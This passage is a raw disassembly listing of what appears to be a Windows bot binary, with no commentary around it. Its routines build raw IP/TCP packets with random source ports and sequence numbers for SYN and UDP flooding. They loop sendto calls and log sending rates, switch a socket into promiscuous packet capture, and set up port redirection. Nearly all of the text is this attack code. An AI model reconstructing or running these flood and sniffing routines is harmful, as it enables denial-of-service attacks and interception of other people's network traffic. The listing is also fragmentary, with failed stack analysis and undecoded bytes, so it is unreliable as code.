dword_4D6765[eax*2], edx xor eax, eax add esp, 338h retn 4 sub_426CE0 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426EB0 proc near ; CODE XREF: sub_401DD9j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426EB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aSyn ; "syn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E10C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_426EB0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426F20 proc near ; CODE XREF: ___:004016DBj sub_40181Bj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4010FF test [esp+4+arg_0], 1 jz short loc_426F38 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426F38: ; CODE XREF: sub_426F20+Dj mov eax, esi pop esi retn 4 sub_426F20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426F50 proc near ; CODE XREF: sub_4010FFj jmp sub_4014C4 sub_426F50 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426F70 proc near ; CODE XREF: sub_401E92j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426F70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+50h] mov edx, [esi+58h] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax push offset aSSUUsecDms ; "%s: %s:%u (%usec/%dms)" mov ecx, ebp call sub_4014D3 mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 28h lea ecx, [esp+34h+var_24] call sub_401424 mov edx, [esi+54h] mov eax, [esi+50h] mov ecx, [esi+58h] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014D3 push eax call sub_401DB6 sub_426F70 endp ; --------------------------------------------------------------------------- cdq and edx, 3FFh add esp, 10h add eax, edx mov ecx, edi sar eax, 0Ah cdq idiv dword ptr [esi+50h] mov edx, [esi+58h] push eax push edx call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+20h] push offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)" push eax call sub_40102D add esp, 18h lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, ebp call sub_4014D3 mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 14h mov dword ptr [esp+30h], 0FFFFFFFFh lea ecx, [esp+10h] call sub_401226 mov ecx, [esp+28h] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4270E0 proc near ; CODE XREF: sub_401BB3j var_95 = byte ptr -95h var_8C = dword ptr -8Ch var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh sub esp, 98h push ebx push ebp push esi push edi mov ecx, 0Eh xor eax, eax lea edi, [esp+0A8h+var_3B] mov [esp+0A8h+var_3C], 0 rep stosd stosw xor esi, esi push 0FFh push esi mov [esp+0B0h+var_8C], esi stosb mov [esp+0B0h+var_95], 0 call sub_4021A3 sub_4270E0 endp ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+24h], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+2Dh], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+36h], al call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 20h cmp [esp+0B4h], si mov [esp+17h], al jnz short loc_427171 push 2710h push 3E8h mov byte ptr [esp+1Bh], 1 call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_427171: ; CODE XREF: ___:00427151j push 1 push esi push esi push 0FFh push 3 push 2 mov dword ptr [esp+64h], 1 call near ptr 71AB8769h nop mov edi, eax cmp edi, 0FFFFFFFFh mov [esp+18h], edi jnz short loc_4271A4 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_4271A4: ; CODE XREF: ___:00427195j lea eax, [esp+4Ch] push 4 push eax push 2 push esi push edi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jnz short loc_4271C7 loc_4271BA: ; CODE XREF: ___:0042736Fj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_4271C7: ; CODE XREF: ___:004271B8j mov ecx, [esp+0B4h] mov ebp, dword_50FC2C push ecx mov word ptr [esp+60h], 2 call ebp ; ntohs mov ebx, [esp+0ACh] push 28h mov [esp+62h], ax mov [esp+64h], ebx mov byte ptr [esp+24h], 45h call ebp ; ntohs push 4000h mov [esp+26h], ax mov word ptr [esp+28h], 1 mov [esp+2Ah], si mov byte ptr [esp+2Ch], 80h mov byte ptr [esp+2Dh], 6 mov [esp+2Eh], si mov [esp+34h], ebx mov byte ptr [esp+44h], 50h mov byte ptr [esp+45h], 2 call ebp ; ntohs mov [esp+42h], ax mov [esp+46h], si mov [esp+3Ch], esi nop call near ptr 27D0802h mov [esp+48h], eax mov al, byte_4D64E9 test al, al jz loc_42741B mov ebx, dword_50FABC mov byte ptr [esp+58h], 0 mov byte ptr [esp+59h], 6 jmp short loc_427265 ; --------------------------------------------------------------------------- xor esi, esi loc_427265: ; CODE XREF: ___:00427261j mov edi, [esp+1Ch] mov edx, [esp+0B4h] inc edi push edx mov [esp+20h], edi mov [esp+48h], si call ebp ; ntohs push 14h mov [esp+3Ah], ax call ebp ; ntohs mov [esp+5Ah], ax mov eax, [esp+14h] push eax call near ptr 71AB2BC0h nop mov esi, eax mov [esp+2Ch], esi call ebx ; rand cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ebp ; ntohs mov [esp+34h], ax call ebx ; rand mov edi, eax shl edi, 10h call ebx ; rand or edi, eax push edi call ebp ; ntohs mov edx, [esp+0ACh] and eax, 0FFFFh mov [esp+38h], eax mov eax, [esp+58h] mov [esp+6Ch], esi mov ecx, 5 lea esi, [esp+34h] lea edi, [esp+78h] mov [esp+70h], edx mov [esp+74h], eax rep movsd lea ecx, [esp+6Ch] push 20h push ecx call sub_401A28 mov ecx, 5 lea esi, [esp+28h] lea edi, [esp+74h] lea edx, [esp+74h] rep movsd mov ecx, 5 lea esi, [esp+3Ch] lea edi, [esp+88h] mov [esp+4Ch], ax push 28h push edx rep movsd mov dword ptr [esp+0A4h], 0 call sub_401A28 mov edx, [esp+28h] add esp, 10h mov [esp+2Ah], ax mov ecx, 5 lea esi, [esp+20h] lea edi, [esp+6Ch] lea eax, [esp+5Ch] push 10h rep movsd push eax push 0 lea ecx, [esp+78h] push 28h push ecx push edx nop call near ptr 71AB2C69h cmp eax, 0FFFFFFFFh jz loc_4271BA nop call near ptr 27D0802h mov edx, [esp+48h] mov ecx, eax sub ecx, edx mov eax, 10624DD3h mul ecx mov eax, [esp+0B8h] shr edx, 6 cmp edx, eax ja short loc_427417 mov al, [esp+13h] test al, al jz short loc_4273B9 push 2710h push 3E8h call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_4273B9: ; CODE XREF: ___:0042739Ej push 0FFh push 0 call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+24h], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+2Dh], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+36h], al call sub_4021A3 ; --------------------------------------------------------------------------- db 8Bh, 94h, 24h dd 0DCh, 8820C483h, 52172444h, 0AA04E890h, 0E9A0023Eh dd 84004D64h, 4C850FC0h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_427417: ; CODE XREF: ___:00427396j mov edi, [esp+18h] loc_42741B: ; CODE XREF: ___:0042724Bj push edi nop call near ptr 71AB9639h mov eax, [esp+1Ch] pop edi pop esi pop ebp lea eax, [eax+eax*4+5] pop ebx shl eax, 2 add esp, 98h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_427520 proc near ; CODE XREF: sub_401DB6j arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h mov eax, [esp+arg_0] push esi push eax call sub_40187F mov esi, eax nop call near ptr 77C371D3h and eax, 800001FFh jns short loc_427541 dec eax or eax, 0FFFFFE00h inc eax loc_427541: ; CODE XREF: sub_427520+18j mov ecx, [esp+4+arg_10] mov edx, [esp+4+arg_C] push ecx mov ecx, [esp+8+arg_8] lea eax, [eax+esi+100h] push edx push ecx push eax push esi call sub_401BB3 sub_427520 endp ; --------------------------------------------------------------------------- add esp, 18h pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427590 proc near ; CODE XREF: sub_401785j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427590 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aUdp ; "udp" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E11C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427590 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427600 proc near ; CODE XREF: ___:004014ECj sub_40222Aj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401159 test [esp+4+arg_0], 1 jz short loc_427618 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_427618: ; CODE XREF: sub_427600+Dj mov eax, esi pop esi retn 4 sub_427600 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_427630 proc near ; CODE XREF: sub_401159j jmp sub_4014C4 sub_427630 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427650 proc near ; CODE XREF: sub_401A05j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427650 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] push eax mov eax, [esi+58h] lea edi, [esi+3Bh] push ecx push edx push eax mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax push offset aSSUUtUbDms ; "%s: %s:%u (%ut/%ub/%dms)" mov ecx, ebp call sub_4014D3 mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 2Ch lea ecx, [esp+34h+var_24] call sub_401424 mov eax, [esi+58h] mov ecx, [esi+54h] mov edx, [esi+60h] push eax mov eax, [esi+5Ch] push ecx push edx push eax mov ecx, edi mov [esp+44h+var_4], 0 call sub_4014D3 push eax call sub_401730 add esp, 14h test eax, eax jz short loc_42771E mov ecx, [esi+5Ch] mov edx, [esi+58h] push ecx push edx mov ecx, edi call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+44h+var_24] push offset aSSDDone ; "%s: %s:%d done" push eax call sub_40102D add esp, 18h loc_42771E: ; CODE XREF: sub_427650+A2j lea ecx, [esp+34h+var_24] call sub_4017E4 push eax mov ecx, ebp call sub_4014D3 mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_427650 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4277C0 proc near ; CODE XREF: sub_401730j var_36 = word ptr -36h var_18 = byte ptr -18h var_16 = word ptr -16h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_FFBC = dword ptr 0FFC0h arg_FFCC = dword ptr 0FFD0h arg_FFDC = dword ptr 0FFE0h arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFF0h call sub_436840 push esi push 11h push 2 push 2 nop call near ptr 71AB3B91h mov esi, [esp+10h+arg_FFE4] mov [esp+10h+arg_0], eax xor eax, eax push esi mov [esp+14h+var_C], eax mov word ptr [esp+14h+var_C], 2 mov [esp+14h+var_8], eax mov [esp+14h+var_4], eax mov [esp+14h], eax nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_427821 push esi nop call near ptr 71AB4FD4h test eax, eax jnz short loc_42781A pop esi add esp, 0FFF0h retn ; --------------------------------------------------------------------------- loc_42781A: ; CODE XREF: sub_4277C0+50j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_427821: ; CODE XREF: sub_4277C0+45j mov esi, [esp+18h+arg_FFEC] push ebx mov ebx, dword_50FABC push ebp test esi, esi mov [esp+20h+var_10], eax push edi jnz short loc_42785D call ebx ; rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx nop call near ptr 71AB2B66h mov [esp+28h+var_16], ax mov [esp+28h+arg_FFE8], 1 jmp short loc_42788E ; --------------------------------------------------------------------------- loc_42785D: ; CODE XREF: sub_4277C0+77j push esi call near ptr 71AB2B66h nop cmp esi, 1 mov [esp+28h+var_16], ax jge short loc_42787B mov [esp+28h+arg_FFE8], 1 jmp short loc_42788E ; --------------------------------------------------------------------------- loc_42787B: ; CODE XREF: sub_4277C0+ACj cmp esi, 0FFFFh jle short loc_42788E mov [esp+28h+arg_FFE8], 0FFFFh loc_42788E: ; CODE XREF: sub_4277C0+9Bj ; sub_4277C0+B9j ... mov eax, [esp+28h+arg_FFE4] test eax, eax jnz short loc_4278A4 mov [esp+28h+arg_FFE4], 1 loc_4278A4: ; CODE XREF: sub_4277C0+D7j mov ecx, [esp+28h+arg_FFDC] mov eax, 66666667h imul ecx mov edi, [esp+28h+arg_FFE0] xor esi, esi sar edx, 2 mov eax, edx shr eax, 1Fh add edx, eax test edi, edi mov ebp, edx jle short loc_4278DE loc_4278CB: ; CODE XREF: sub_4277C0+11Cj call ebx ; rand cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, edi mov byte ptr [esp+esi+28h+var_8+3], dl jl short loc_4278CB loc_4278DE: ; CODE XREF: sub_4277C0+109j mov edx, ebp dec ebp test edx, edx mov [esp+28h+arg_FFDC], ebp jle loc_427970 mov ebp, dword_50FC5C loc_4278F6: ; CODE XREF: sub_4277C0+1AEj mov al, byte_4D64E9 test al, al jz short loc_427970 mov esi, 0Bh loc_427904: ; CODE XREF: sub_4277C0+177j lea eax, [esp+28h+var_18] push 10h push eax push 0 call ebx ; rand cdq mov ecx, 0Ah idiv ecx mov eax, edi lea ecx, [esp+34h+var_4] sub eax, edx mov edx, [esp+34h+var_8] push eax push ecx push edx call ebp ; sendto mov eax, [esp+40h+arg_FFCC] push eax nop call near ptr 2811E0Eh dec esi jnz short loc_427904 mov eax, [esp+44h+arg_FFCC] test eax, eax jnz short loc_42795B call ebx ; rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx nop call near ptr 71AB2B66h mov [esp+48h+var_36], ax loc_42795B: ; CODE XREF: sub_4277C0+182j mov eax, [esp+48h+arg_FFBC] mov edx, eax dec eax test edx, edx mov [esp+48h+arg_FFBC], eax jg short loc_4278F6 loc_427970: ; CODE XREF: sub_4277C0+12Aj ; sub_4277C0+13Dj pop edi pop ebp pop ebx mov eax, 1 pop esi add esp, 0FFF0h retn sub_4277C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4279F0 proc near ; CODE XREF: sub_40207Cj var_10 = word ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx mov ebx, [esp+14h+arg_4] push esi push edi mov edi, [esp+1Ch+arg_0] lea eax, [ebx-14h] push eax lea ecx, [edi+28h] push ecx call sub_401A28 mov edx, [edi+10h] add esp, 8 mov [edi+0Ah], ax mov [esp+1Ch+var_10], 2 push 1 push 0 push 0 push 0FFh push 3 push 2 mov [esp+34h+var_C], edx mov [esp+34h+arg_4], 1 call near ptr 71AB8769h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_427A4D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_427A4D: ; CODE XREF: sub_4279F0+52j lea eax, [esp+1Ch+arg_4] push 4 push eax push 2 push 0 push esi call near ptr 71AB3EA1h nop cmp eax, 0FFFFFFFFh jnz short loc_427A6D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_427A6D: ; CODE XREF: sub_4279F0+72j lea ecx, [esp+1Ch+var_10] push 10h push ecx push 0 push ebx push edi push esi nop call near ptr 71AB2C69h push esi mov edi, eax call near ptr 71AB9639h nop mov eax, edi pop edi pop esi pop ebx add esp, 10h retn sub_4279F0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427AD0 proc near ; CODE XREF: sub_401D9Dj var_68 = dword ptr -68h var_64 = dword ptr -64h var_28 = dword ptr -28h var_18 = byte ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_10 = word ptr 14h arg_12 = word ptr 16h arg_14 = dword ptr 18h arg_1C = byte ptr 20h arg_24 = byte ptr 28h arg_25 = byte ptr 29h arg_B8 = byte ptr 0BCh arg_C1 = byte ptr 0C5h arg_C4 = dword ptr 0C8h arg_C8 = dword ptr 0CCh arg_100C8 = dword ptr 100CCh arg_100D8 = dword ptr 100DCh arg_10128 = dword ptr 1012Ch arg_1012C = dword ptr 10130h arg_10130 = dword ptr 10134h mov eax, 10128h call sub_436840 push ebx push ebp push esi push edi mov ecx, 3Fh xor eax, eax lea edi, [esp+10h+arg_25] mov [esp+10h+arg_24], 0 rep stosd stosw mov eax, [esp+10h+arg_10128] push eax call sub_40187F mov ecx, [esp+14h+arg_1012C] mov [esp+14h+arg_4], eax push ecx call sub_40187F mov edi, [esp+18h+arg_10130] add esp, 8 xor ebx, ebx mov [esp+10h+arg_0], eax mov [esp+10h+arg_10], 2 mov [esp+10h+arg_12], bx mov [esp+10h+arg_14], ebx mov esi, offset byte_446F60 mov eax, edi loc_427B37: ; CODE XREF: sub_427AD0+85j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_427B5B test cl, cl jz short loc_427B57 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_427B5B add eax, 2 add esi, 2 test cl, cl jnz short loc_427B37 loc_427B57: ; CODE XREF: sub_427AD0+71j xor eax, eax jmp short loc_427B60 ; --------------------------------------------------------------------------- loc_427B5B: ; CODE XREF: sub_427AD0+6Dj ; sub_427AD0+7Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_427B60: ; CODE XREF: sub_427AD0+89j cmp eax, ebx jnz short loc_427BB3 mov ebp, dword_4D60F7 cmp ebp, ebx mov [esp+10h], ebp jz short loc_427B77 cmp ebp, 0FFFFFFFFh jnz short loc_427BBE loc_427B77: ; CODE XREF: sub_427AD0+A0j lea eax, [esp+10h+arg_24] push 0FFh push eax call near ptr 71AB50C8h nop lea ecx, [esp+18h+arg_1C] push ecx nop call near ptr 71AB4FD4h movsx ecx, word ptr [eax+0Ah] mov edx, [eax+0Ch] mov eax, ecx lea edi, [esp+1Ch+var_C] mov esi, [edx] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ebp, [esp+1Ch+var_C] jmp short loc_427BBE ; --------------------------------------------------------------------------- loc_427BB3: ; CODE XREF: sub_427AD0+92j push edi call sub_40187F add esp, 4 mov ebp, eax loc_427BBE: ; CODE XREF: sub_427AD0+A5j ; sub_427AD0+E1j cmp ebp, ebx jz short loc_427BC7 cmp ebp, 0FFFFFFFFh jnz short loc_427BCD loc_427BC7: ; CODE XREF: sub_427AD0+F0j mov ebp, dword_4D60F7 loc_427BCD: ; CODE XREF: sub_427AD0+F5j mov edi, 1 mov [esp+10h+arg_14], ebp push edi push ebx push ebx push ebx push 3 push 2 mov [esp+28h+arg_8], edi call near ptr 71AB8769h nop mov esi, eax cmp esi, 0FFFFFFFFh jz loc_427D0D lea ecx, [esp+28h+var_C] push 4 push ecx push 2 push ebx push esi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jz loc_427D0D lea edx, [esp+3Ch+var_18] push 10h push edx push esi nop call near ptr 71AB3E00h cmp eax, 0FFFFFFFFh jz loc_427D0D push ebx lea eax, [esp+4Ch+var_14] push ebx push eax push ebx push ebx lea ecx, [esp+5Ch+var_28] push 4 push ecx push 98000001h push esi mov [esp+6Ch+var_28], edi nop call near ptr 71AB4489h cmp eax, 0FFFFFFFFh jz loc_427D0D mov edx, [esp+6Ch+arg_100D8] cmp byte ptr [edx], 0 jz loc_427CF3 mov ebx, dword_50FC90 loc_427C63: ; CODE XREF: sub_427AD0+21Dj mov ecx, 3FFFh xor eax, eax lea edi, [esp+6Ch+arg_C8] push 0 rep stosd stosw stosb lea eax, [esp+70h+arg_C8] push 0FFFFh push eax push esi call ebx ; recv cmp [esp+7Ch+arg_C1], 2Fh jnz short loc_427CE3 mov ecx, [esp+7Ch+arg_C4] mov edx, [esp+7Ch+var_64] cmp ecx, edx jnz short loc_427CBE mov ecx, [esp+7Ch+var_68] lea edx, [esp+7Ch+arg_B8] push eax mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], ecx push edx jmp short loc_427CDB ; --------------------------------------------------------------------------- loc_427CBE: ; CODE XREF: sub_427AD0+1CFj cmp ecx, [esp+7Ch+var_68] jnz short loc_427CE3 push eax lea eax, [esp+80h+arg_B8] mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], edx push eax loc_427CDB: ; CODE XREF: sub_427AD0+1ECj call sub_40207C add esp, 8 loc_427CE3: ; CODE XREF: sub_427AD0+1C0j ; sub_427AD0+1F2j mov ecx, [esp+7Ch+arg_100C8] cmp byte ptr [ecx], 0 jnz loc_427C63 loc_427CF3: ; CODE XREF: sub_427AD0+187j mov edx, dword_50FA84 add edx, 20h push edx call near ptr 77C3EEF6h nop add esp, 4 push esi nop call near ptr 71AB9639h loc_427D0D: ; CODE XREF: sub_427AD0+11Dj ; sub_427AD0+137j ... pop edi pop esi pop ebp pop ebx add esp, 10128h retn sub_427AD0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427DC0 proc near ; CODE XREF: sub_401889j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427DC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset off_444F30 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E12C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427DC0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427E30 proc near ; CODE XREF: sub_401F82j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427E30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401424 lea ecx, [esi+82h] mov byte ptr [esp+14h+var_4], 5 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E13C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427E30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427EF0 proc near ; CODE XREF: sub_40179Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427EF0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E13C lea ecx, [esi+82h] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_427EF0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_427FC0: ; CODE XREF: ___:00401A14j ; ___:loc_402068j push esi mov esi, ecx call sub_40179E test byte ptr [esp+8], 1 jz short loc_427FD8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_427FD8: ; CODE XREF: ___:00427FCDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427FF0 proc near ; CODE XREF: ___:00401096j sub_401C2Bj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4015F5 test [esp+4+arg_0], 1 jz short loc_428008 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_428008: ; CODE XREF: sub_427FF0+Dj mov eax, esi pop esi retn 4 sub_427FF0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_428020 proc near ; CODE XREF: sub_4015F5j jmp sub_40179E sub_428020 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428040 proc near ; CODE XREF: sub_4015AFj push ebx push ebp push esi mov esi, ecx push edi lea edi, [esi+82h] lea ebx, [esi+58h] mov ecx, edi lea ebp, [esi+6Dh] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax lea ecx, [esi+11h] call sub_4017E4 push eax push offset aSStartedRedire ; "[%s] Started redirect from \"%s\" to \"%s\""... lea ecx, [esi+26h] call sub_4014D3 mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D60A5 call sub_401848 mov edx, [esi+99h] add esp, 24h add edx, 11Ch mov ecx, edi push edx call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax call sub_401D9D add esp, 10h mov ecx, edi call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax lea ecx, [esi+11h] call sub_4017E4 push eax push offset aSFinishedRedir ; "[%s] Finished redirect from \"%s\" to \"%s"... lea ecx, [esi+26h] call sub_4014D3 mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 24h pop edi pop esi pop ebp pop ebx retn sub_428040 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428160 proc near ; CODE XREF: sub_401884j var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428160 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push esi mov esi, ecx mov [esp+2Ch+var_28], esi call sub_401F82 lea 